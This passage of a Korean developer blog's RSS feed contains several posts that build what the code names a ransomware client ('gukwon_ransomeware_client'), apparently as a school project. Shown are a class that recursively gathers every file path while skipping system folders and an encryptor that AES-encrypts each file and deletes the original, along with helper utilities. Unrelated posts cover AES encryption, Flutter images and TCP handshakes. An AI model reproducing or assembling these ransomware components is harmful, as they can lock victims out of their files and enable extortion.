            int blockSizeBytes = aes.BlockSize / 8;
            byte[] data = new byte[blockSizeBytes];
            KeySet keySet;
            FileStream inFs;
            FileStream outFs;
            CryptoStream cryptoStream;

            for (int i = 0; i &lt; pathes.Length; i++)
            {
                if (File.Exists(pathes[i]))
                {
                    inFs = new FileStream(pathes[i], FileMode.Open);
                    outFs = new FileStream(pathes[i] + &quot;.encrypted&quot;, FileMode.Create);
                    cryptoStream = new CryptoStream(outFs, aes.CreateEncryptor(), CryptoStreamMode.Write);

                    do
                    {
                        count = inFs.Read(data, 0, blockSizeBytes);
                        cryptoStream.Write(data, 0, count);
                    }
                    while (count &gt; 0);

                    inFs.Close();

                    cryptoStream.FlushFinalBlock();
                    cryptoStream.Close();

                    outFs.Close();

                    File.Delete(pathes[i]);
                }
            }

            keySet.Key = aes.Key;
            keySet.IV = aes.IV;

            return keySet;
        }
    }
}
</code></pre><ul>
<li>파일 경로를 인자로 받아 해당 경로의 파일을 AES 방식으로 암호화하는 메서드를 가진 클래스이다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] Utils Class(3)]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Utils-Class3</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Utils-Class3</guid>
            <pubDate>Thu, 15 Dec 2022 16:45:54 GMT</pubDate>
            <description><![CDATA[<p><img src="https://images.velog.io/images/developerkerry/post/fbfe8142-01c7-4106-abbd-80e168a7ccf2/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-07-29%20%EC%98%A4%ED%9B%84%206.44.22.png" alt=""></p>
<pre><code>namespace Utils
{
    public static class ArrayAppender
    {
        public static void Append&lt;T&gt;(ref T[] a, T[] b)
        {
            T[] result = new T[a.Length + b.Length];

            for(int i = 0; i &lt; a.Length; i++)
            {
                result[i] = a[i];
            }
            for(int i = a.Length; i &lt; a.Length + b.Length; i++)
            {
                result[i] = b[i - a.Length];
            }

            a = result;
        }

        public static void Append&lt;T&gt;(ref T[] a, T b)
        {
            T[] result = new T[a.Length + 1];

            for(int i = 0; i &lt; a.Length; i++)
            {
                result[i] = a[i];
            }

            result[a.Length] = b;
            a = result;
        }
    }
}
</code></pre><ul>
<li>CallByReference를 사용하는 방향으로 코드를 다시 작성하였다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] FilePathGetter Class]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-FilePathGetter-Class</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-FilePathGetter-Class</guid>
            <pubDate>Thu, 15 Dec 2022 16:45:27 GMT</pubDate>
            <description><![CDATA[<p><img src="https://images.velog.io/images/developerkerry/post/e3df6c0e-fd4a-4b01-ab1a-ef1d84b37e28/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-07-29%20%EC%98%A4%ED%9B%84%202.42.48.png" alt=""></p>
<pre><code>using System.IO;

using Utils;

namespace gukwon_ransomeware_client
{
    public class FilePathGetter
    {
        private string[] allFilePathes;

        public FilePathGetter()
        {
            allFilePathes = new string[0];
        }

        public string[] GetAllFilePathes(string[] dirPathes)
        {
            for (int i = 0; i &lt; dirPathes.Length; i++)
            {
                if(Directory.Exists(dirPathes[i]))
                    GetAllFilePathes(new DirectoryInfo(dirPathes[i]));
            }

            return allFilePathes;
        }

        private void GetAllFilePathes(DirectoryInfo dirInfo)
        {            
            FileInfo[] files = dirInfo.GetFiles();
            DirectoryInfo[] dirs = dirInfo.GetDirectories();
            string[] pathes = new string[files.Length];

            if (dirInfo.FullName.ToUpper().Contains(&quot;SYSTEM&quot;))
                return;

            for (int i = 0; i &lt; files.Length; i++)
            {
                pathes[i] = files[i].FullName;
            }

            allFilePathes.Append(pathes);

            for(int i = 0; i &lt; dirs.Length; i++)
            {
                GetAllFilePathes(dirs[i]);
            }
        }
    }
}
</code></pre><ul>
<li>재귀 함수를 활용해 하위 디렉터리에 들어있는 모든 파일의 경로까지 allFilePath 배열에 추가되도록 하였다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] Utils Class(2)]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Utils-Class2</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Utils-Class2</guid>
            <pubDate>Thu, 15 Dec 2022 16:44:56 GMT</pubDate>
            <description><![CDATA[<p><img src="https://images.velog.io/images/developerkerry/post/c94bc4c2-13b4-4efc-a59b-561e128b1d03/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-07-29%20%EC%98%A4%ED%9B%84%202.40.28.png" alt=""></p>
<pre><code>namespace Utils
{
    public static class StringArrayExtension
    {
        public static T[] Append&lt;T&gt;(this T[] a, T[] b)
        {
            T[] result = new T[a.Length + b.Length];

            for(int i = 0; i &lt; a.Length; i++)
            {
                result[i] = a[i];
            }
            for(int i = a.Length; i &lt; a.Length + b.Length; i++)
            {
                result[i] = b[i - a.Length];
            }

            return result;
        }

        public static T[] Append&lt;T&gt;(this T[] a, T b)
        {
            T[] result = new T[a.Length + 1];

            for(int i = 0; i &lt; a.Length; i++)
            {
                result[i] = a[i];
            }

            result[a.Length] = b;

            return result;
        }
    }
}
</code></pre><ul>
<li>모든 형태의 배열에 .Append 확장 메서드를 추가하는 방향으로 코드를 다시 작성하였다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] Utils Class(1)]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Utils-Class1</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Utils-Class1</guid>
            <pubDate>Thu, 15 Dec 2022 16:44:15 GMT</pubDate>
            <description><![CDATA[<p><img src="https://images.velog.io/images/developerkerry/post/38587ba0-d92a-4a7d-acab-c58dd621127e/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-07-29%20%EC%98%A4%ED%9B%84%201.40.21.png" alt=""></p>
<pre><code>namespace Utils
{
    public static class Utils
    {
        public static void AppendArray&lt;T&gt;(ref T[] a, T[] b)
        {
            T[] arr = new T[a.Length + b.Length];

            for(int i = 0; i &lt; a.Length; i++)
            {
                arr[i] = a[i];
            }

            for(int i = a.Length; i &lt; a.Length + b.Length; i++)
            {
                arr[i] = b[i - a.Length];
            }

            a = arr;
        }

        public static void AppendArray&lt;T&gt;(ref T[] a, T b)
        {
            T[] arr = new T[a.Length + 1];

            for(int i = 0; i &lt; a.Length; i++)
            {
                arr[i] = a[i];
            }

            arr[a.Length] = b;

            a = arr;
        }
    }
}
</code></pre><ul>
<li>먼저 AppendArray() 함수를 정의하였다.</li>
<li>메소드 오버로딩을 통해 배열을 이어붙이거나, 배열에 데이터 하나를 추가하는 일을 하나의 함수 이름으로 처리할 수 있도록 하였다.</li>
<li>제네릭을 이용, 어떤 배열이든 확장 기능을 사용할 수 있도록 하였다.</li>
<li>REST API에 Request를 보내는 메서드는 개발 막바지 즈음에 추가할 계획이다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[국원고 프로젝트] 클래스 구성 및 소개]]></title>
            <link>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%ED%81%B4%EB%9E%98%EC%8A%A4-%EA%B5%AC%EC%84%B1-%EB%B0%8F-%EC%86%8C%EA%B0%9C</link>
            <guid>https://velog.io/@dev_benedictus/%EA%B5%AD%EC%9B%90%EA%B3%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%ED%81%B4%EB%9E%98%EC%8A%A4-%EA%B5%AC%EC%84%B1-%EB%B0%8F-%EC%86%8C%EA%B0%9C</guid>
            <pubDate>Thu, 15 Dec 2022 16:43:07 GMT</pubDate>
            <description><![CDATA[<h3 id="1-class-filepathgetter">1. class FilePathGetter</h3>
<pre><code>string[] GetAllPathes(DirectoryInfo dirInfo);</code></pre><ul>
<li>시스템 파일 제외한 모든 파일 경로를 구하기 위한 클래스</li>
</ul>
<h3 id="2-class-encryptor">2. class Encryptor</h3>
<pre><code>struct KeySet{
    public byte[] key;
    public byte[] iv;
}

KeySet EncryptFiles(string[] pathes);</code></pre><ul>
<li>FilePathGetter를 이용해 구한 모든 파일의 경로를 EncryptFiles의 인자로 받아 해당 경로의 파일을 AES 암호화</li>
</ul>
<h3 id="3-class-decryptor">3. class Decryptor</h3>
<pre><code>int DecryptFiles(string[] pathes, KeySet key);</code></pre><ul>
<li>string[] pathes 안에 들어있는 파일 경로의 파일을 key로 AES 복호화</li>
</ul>
<h3 id="4-class-utils별도-프로젝트로-분리">4. class Utils(별도 프로젝트로 분리)</h3>
<pre><code>T[] AppendArray&lt;T&gt;(ref T[] a, T[] b);
T[] AppendArray&lt;T&gt;(ref T[] a, T b);
JsonData SendMSG(string endpoint, JsonData msg);</code></pre><ul>
<li>배열을 확장하는 기능을 가진 함수와</li>
<li>REST API에 Request를 보내는 기능을 가진 함수를 내부에 구현</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Flutter/ 이미지 추가하기]]></title>
            <link>https://velog.io/@dev_benedictus/Flutter-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EC%B6%94%EA%B0%80%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@dev_benedictus/Flutter-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EC%B6%94%EA%B0%80%ED%95%98%EA%B8%B0</guid>
            <pubDate>Thu, 15 Dec 2022 16:42:00 GMT</pubDate>
            <description><![CDATA[<h4 id="1-이미지들을-모아둘-디렉터리를-만들고-그-안에-이미지를-넣습니다">1. 이미지들을 모아둘 디렉터리를 만들고, 그 안에 이미지를 넣습니다.<img src="https://images.velog.io/images/developerkerry/post/fec6f66c-2de1-4f02-804f-f85e94832172/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-03-15%20%EC%98%A4%ED%9B%84%208.11.51.png" alt=""></h4>
<h4 id="2-pubspecyaml-파일의-assets-부분을-수정합니다">2. pubspec.yaml 파일의 assets 부분을 수정합니다.</h4>
<p><img src="https://images.velog.io/images/developerkerry/post/6cc3beb1-51db-42b0-95a1-8dec0fc10042/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-03-15%20%EC%98%A4%ED%9B%84%208.14.01.png" alt=""></p>
<p>imgs/tooltip.png와 같이 세부적인 경로를 지정해줘도 되지만, imgs/만 써 주어도 됩니다. 디렉터리만 적을 경우 디렉터리 내의 모든 이미지를 Asset으로 처리합니다.</p>
<h4 id="3-android-studio-상단의-pub-get을-누릅니다">3. Android Studio 상단의 pub get을 누릅니다.</h4>
<p><img src="https://images.velog.io/images/developerkerry/post/3993925b-3673-43a1-818f-9d68acb8ee8b/%EC%8A%A4%ED%81%AC%EB%A6%B0%EC%83%B7%202021-03-15%20%EC%98%A4%ED%9B%84%208.16.23.png" alt=""></p>
<h4 id="4-imageasset이미지-파일-경로로-이미지-위젯을-생성-사용합니다">4. Image.asset(&quot;[이미지 파일 경로]&quot;)로 이미지 위젯을 생성-사용합니다.</h4>
<pre><code>class Intro extends StatelessWidget{
  Widget build(BuildContext context){
    return new Scaffold(
      backgroundColor: Colors.lightBlue,
      body: Center(
        child: Image.asset(&quot;imgs/tooltip.png&quot;)
      ),
    );
  }
}</code></pre><p>아래와 같이 이미지의 크기를 조절할 수 있습니다. width와 height중 하나만 지정하는 경우 이미지가 비율을 유지한 채 커지거나 작아집니다.</p>
<pre><code>class Intro extends StatelessWidget{
  Widget build(BuildContext context){
    return new Scaffold(
      backgroundColor: Colors.lightBlue,
      body: Center(
        child: Image.asset(&quot;imgs/tooltip.png&quot;, width:200)
      ),
    );
  }
}</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[C# 디렉터리 하위의 모든 파일 경로 구하기]]></title>
            <link>https://velog.io/@dev_benedictus/C-%EB%94%94%EB%A0%89%ED%84%B0%EB%A6%AC-%ED%95%98%EC%9C%84%EC%9D%98-%EB%AA%A8%EB%93%A0-%ED%8C%8C%EC%9D%BC-%EA%B2%BD%EB%A1%9C-%EA%B5%AC%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@dev_benedictus/C-%EB%94%94%EB%A0%89%ED%84%B0%EB%A6%AC-%ED%95%98%EC%9C%84%EC%9D%98-%EB%AA%A8%EB%93%A0-%ED%8C%8C%EC%9D%BC-%EA%B2%BD%EB%A1%9C-%EA%B5%AC%ED%95%98%EA%B8%B0</guid>
            <pubDate>Thu, 15 Dec 2022 16:40:42 GMT</pubDate>
            <description><![CDATA[<pre><code>string[] allPathes = new string[0];

void ArrayAppender(ref string[] a, string[] b){
    string[] result = new string[a.Length + b.Length];
    for(int i = 0; i &lt; a.Length; i++){
        result[i] = a[i];
    }
    for(int i = a.Length; i &lt; a.Length + b.Length; i++){
        result[i] = b[i - a.Length];
    }

    a = result;
}

private void GetAllFilePathes(string dirPath){       
    DirectoryInfo dirInfo = new DirectoryInfo(dirPath);
    FileInfo[] files = dirInfo.GetFiles();
    DirectoryInfo[] dirs = dirInfo.GetDirectories();
    string[] pathes = new string[files.Length];

    for (int i = 0; i &lt; files.Length; i++){
        pathes[i] = files[i].FullName;
    }

    ArrayAppender.Append(ref allFilePathes, pathes);

    for(int i = 0; i &lt; dirs.Length; i++){
        GetAllFilePathes(dirs[i]);
    }
}</code></pre><ul>
<li>재귀 함수를 이용하면 손쉽게 특정 디렉터리 하위의 모든 파일의 경로를 구할 수 있다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[C# AES 파일 암호화/복호화]]></title>
            <link>https://velog.io/@dev_benedictus/C-AES-%ED%8C%8C%EC%9D%BC-%EC%95%94%ED%98%B8%ED%99%94%EB%B3%B5%ED%98%B8%ED%99%94</link>
            <guid>https://velog.io/@dev_benedictus/C-AES-%ED%8C%8C%EC%9D%BC-%EC%95%94%ED%98%B8%ED%99%94%EB%B3%B5%ED%98%B8%ED%99%94</guid>
            <pubDate>Thu, 15 Dec 2022 16:40:12 GMT</pubDate>
            <description><![CDATA[<h3 id="1-개요">1. 개요</h3>
<p>C#에서는 RijndaelManaged 객체와 CryptoStream 객체를 이용해 파일을 암호화 할 수 있습니다.</p>
<h3 id="2-사용하는-라이브러리">2. 사용하는 라이브러리</h3>
<ul>
<li>System.IO</li>
<li>System.Security.Cryptography</li>
</ul>
<h3 id="3-1-예제암호화">3-1. 예제(암호화)</h3>
<pre><code>using System.IO;
using System.Security.Cryptography;

namespace test
{
    class Program
    {
        static void Main()
        {
            int count, blockSizeBytes;
            byte[] data;
            RijndaelManaged aes = new RijndaelManaged();
            ICryptoTransform encryptor;
            CryptoStream cryptoStream;
            FileStream inFs, outFs;

            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Padding = PaddingMode.PKCS7;
            aes.Mode = CipherMode.CBC;

            aes.GenerateKey();
            aes.GenerateIV();

            encryptor = aes.CreateEncryptor();

            inFs = new FileStream(&quot;test.jpg&quot;, FileMode.Open);
            outFs = new FileStream(&quot;test.jpg.encrypted&quot;, FileMode.Create);

            cryptoStream = new CryptoStream(outFs, encryptor, CryptoStreamMode.Write);

            blockSizeBytes = aes.BlockSize / 8;
            data = new byte[blockSizeBytes];
            do
            {
                count = inFs.Read(data, 0, blockSizeBytes);
                cryptoStream.Write(data, 0, count);
            }
            while (count &gt; 0);

            inFs.Close();

            cryptoStream.FlushFinalBlock();
            cryptoStream.Close();

            outFs.Close()
    }
}
</code></pre><ul>
<li>aes.KeySize로 Key Size를, aes.BlockSize로 BlockSize를, aes.Padding으로 Padding Mode를, aes.Mode로 Cipher Mode를 지정해 줍니다.</li>
<li>이후 aes.GenerateKey() 메서드로 AES Key를 자동 생성합니다.</li>
<li>aes.GenerateIV() 메서드로 AES IV를 자동 생성합니다.</li>
<li>Key와 IV를 직접 Byte Array 형태로 만들어 aes.Key와 aes.IV에 할당해주셔도 상관은 없습니다.</li>
<li>aes.CreateEncryptor 메서드로 Encryptor 객체를 생성해 ICryptoTransform encryptor 변수에 담아줍니다.</li>
<li>마지막으로 cryptorStream 객체를 만들어 줍니다.</li>
<li>cryptoStream 객체를 통해 데이터를 쓰면, 그 데이터가 암호화된 후 outFs 스트림을 통해 파일로 들어가게 됩니다.</li>
<li>여기서 Stream은 무엇이든 사용 가능합니다. 그것이 NetworkStream이든, MemoryStream이든 상관 없습니다. 저는 메모리의 크기를 초과할 정도로 큰 파일을 암호화 할 경우를 염두하여 FileStream에서 데이터를 읽어 FileStream에 쓰는 방식으로 코딩을 했습니다.</li>
</ul>
<pre><code>.
.
.
cryptoStream = new CryptoStream(inFs, encryptor, CryptoStreamMode.Read);

blockSizeBytes = aes.BlockSize / 8;
data = new byte[blockSizeBytes];
do
{
    count = cryptoStream.Read(data, 0, blockSizeBytes);
    outFs.Write(data, 0, count);
}
while (count &gt; 0);
.
.
.</code></pre><ul>
<li>이런 식으로 CryptoStream의 생성자에 inFs를 넣고 CryptoStreamMode를 Read로 하여, CryptoStream으로부터 데이터를 읽고 파일에 Write로 하는 방법도 있습니다.</li>
</ul>
<h3 id="3-2-예제복호화">3-2. 예제(복호화)</h3>
<pre><code>using System.IO;
using System.Security.Cryptography;

namespace test
{
    class Program
    {
        static void Main()
        {
            int count, blockSizeBytes;
            byte[] data;
            RijndaelManaged aes = new RijndaelManaged();
            ICryptoTransform decryptor;
            CryptoStream cryptoStream;
            FileStream inFs, outFs;

            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Padding = PaddingMode.PKCS7;
            aes.Mode = CipherMode.CBC;

            aes.key = [AES Key Bytes];
            aes.iv = [AES IV Bytes];

            encryptor = aes.CreateDecryptor();

            inFs = new FileStream(&quot;test.jpg.encrypted&quot;, FileMode.Open);
            outFs = new FileStream(&quot;test.jpg&quot;, FileMode.Create);

            cryptoStream = new CryptoStream(outFs, decryptor, CryptoStreamMode.Write);

            blockSizeBytes = aes.BlockSize / 8;
            data = new byte[blockSizeBytes];
            do
            {
                count = inFs.Read(data, 0, blockSizeBytes);
                cryptoStream.Write(data, 0, count);
            }
            while (count &gt; 0);

            inFs.Close();

            cryptoStream.FlushFinalBlock();
            cryptoStream.Close();

            outFs.Close()
    }
}</code></pre><ul>
<li>Encryptor를 Decryptor로 변경하고, Key와 IV를 직접 할당해주어야 한다는 것 외에는 차이점이 없습니다.</li>
</ul>
<pre><code>using System.IO;
using System.Security.Cryptography;

namespace test
{
    class Program
    {
        static void Main()
        {
            int count, blockSizeBytes;
            byte[] data;
            RijndaelManaged aes = new RijndaelManaged();
            ICryptoTransform decryptor;
            CryptoStream cryptoStream;
            FileStream inFs, outFs;

            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Padding = PaddingMode.PKCS7;
            aes.Mode = CipherMode.CBC;

            key = ~~~
            iv = ~~~

            encryptor = aes.CreateDecryptor(key, iv);

            inFs = new FileStream(&quot;test.jpg.encrypted&quot;, FileMode.Open);
            outFs = new FileStream(&quot;test.jpg&quot;, FileMode.Create);

            cryptoStream = new CryptoStream(outFs, decryptor, CryptoStreamMode.Write);

            blockSizeBytes = aes.BlockSize / 8;
            data = new byte[blockSizeBytes];
            do
            {
                count = inFs.Read(data, 0, blockSizeBytes);
                cryptoStream.Write(data, 0, count);
            }
            while (count &gt; 0);

            inFs.Close();

            cryptoStream.FlushFinalBlock();
            cryptoStream.Close();

            outFs.Close()
    }
}</code></pre><ul>
<li>Key와 IV를 꼭 aes.Key와 aes.IV에 할당해주어야 하는 것은 아닙니다. CreateDecryptor 메서드의 인자로 Key Byte Array와 IV Byte Array를 직접 넘겨주셔도 됩니다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[TCP 데이터 송수신 과정 및 연결종료]]></title>
            <link>https://velog.io/@dev_benedictus/TCP-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%86%A1%EC%88%98%EC%8B%A0-%EA%B3%BC%EC%A0%95-%EB%B0%8F-%EC%97%B0%EA%B2%B0%EC%A2%85%EB%A3%8C</link>
            <guid>https://velog.io/@dev_benedictus/TCP-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%86%A1%EC%88%98%EC%8B%A0-%EA%B3%BC%EC%A0%95-%EB%B0%8F-%EC%97%B0%EA%B2%B0%EC%A2%85%EB%A3%8C</guid>
            <pubDate>Thu, 15 Dec 2022 16:39:06 GMT</pubDate>
            <description><![CDATA[<h3 id="1-데이터-송수신-과정">1. 데이터 송수신 과정</h3>
<h4 id="1-1-200byte의-데이터를-a에서-b로-보낼-때">1-1. 200Byte의 데이터를 A에서 B로 보낼 때</h4>
<p>[A] SEQ 1200, 100 Byte Data // 1200번 패킷, 100바이트 데이터
[B] -&gt; ACK 1301 // 받은 데이터의 (바이트 수 + 1)만큼 패킷 번호가 증가, 100바이트 잘 받았으니 1301번 패킷 내놔라!
[A] SEQ 1301, 100 Byte Data // 1301번 패킷, 100바이트 데이터
[B] -&gt; ACK 1402 // 100바이트 잘 받았으니 1402번 패킷 내놔라!</p>
<h4 id="1-2-중간에-패킷이-유실된다면">1-2. 중간에 패킷이 유실된다면?</h4>
<p>[A] SEQ 1200, 100 Byte Data // 1200번 패킷, 100바이트 데이터
[B] SEQ 1301 // 100바이트 잘 받았으니 1301번 패킷 내놔라!
[A] <del>SEQ 1301, 100 Byte Data // 1301번 패킷, 100바이트 데이터, 유실</del>
.
.
.
TimeOut
[A] SEQ 1301, 100 Byte Data // 1301번 패킷, 100바이트 데이터
[B] ACK 1402 // 100바이트 데이터 잘 받았으니 1402번 패킷 내놔라!</p>
<h4 id="1-3-정리">1-3. 정리</h4>
<p>TCP 소켓은 응답을 요구하는 패킷을 보낼 시 타이머를 동작시키고, 타이머가 TimeOut 되면 패킷을 재전송 한다.</p>
<h3 id="2-연결종료4-way-handshaking">2. 연결종료(4-Way Handshaking)</h3>
<p>연결 종료시, 연결 종료를 알리는 메시지(FIN)를 패킷에 삽입해서 보낸다.</p>
<p>[A] FIN, SEQ 5000, ACK -    // 우리, 그만하자
[B] ACK, SEQ 7500, ACK 5001 // 잠깐 기다려봐!
[B] FIN, SEQ 7501, ACK 5001 // 끊을 준비 끝!
[A] ACK, SEQ 5001, ACK 7502 // 끊자~</p>
]]></description>
        </item>
    </channel>
</rss>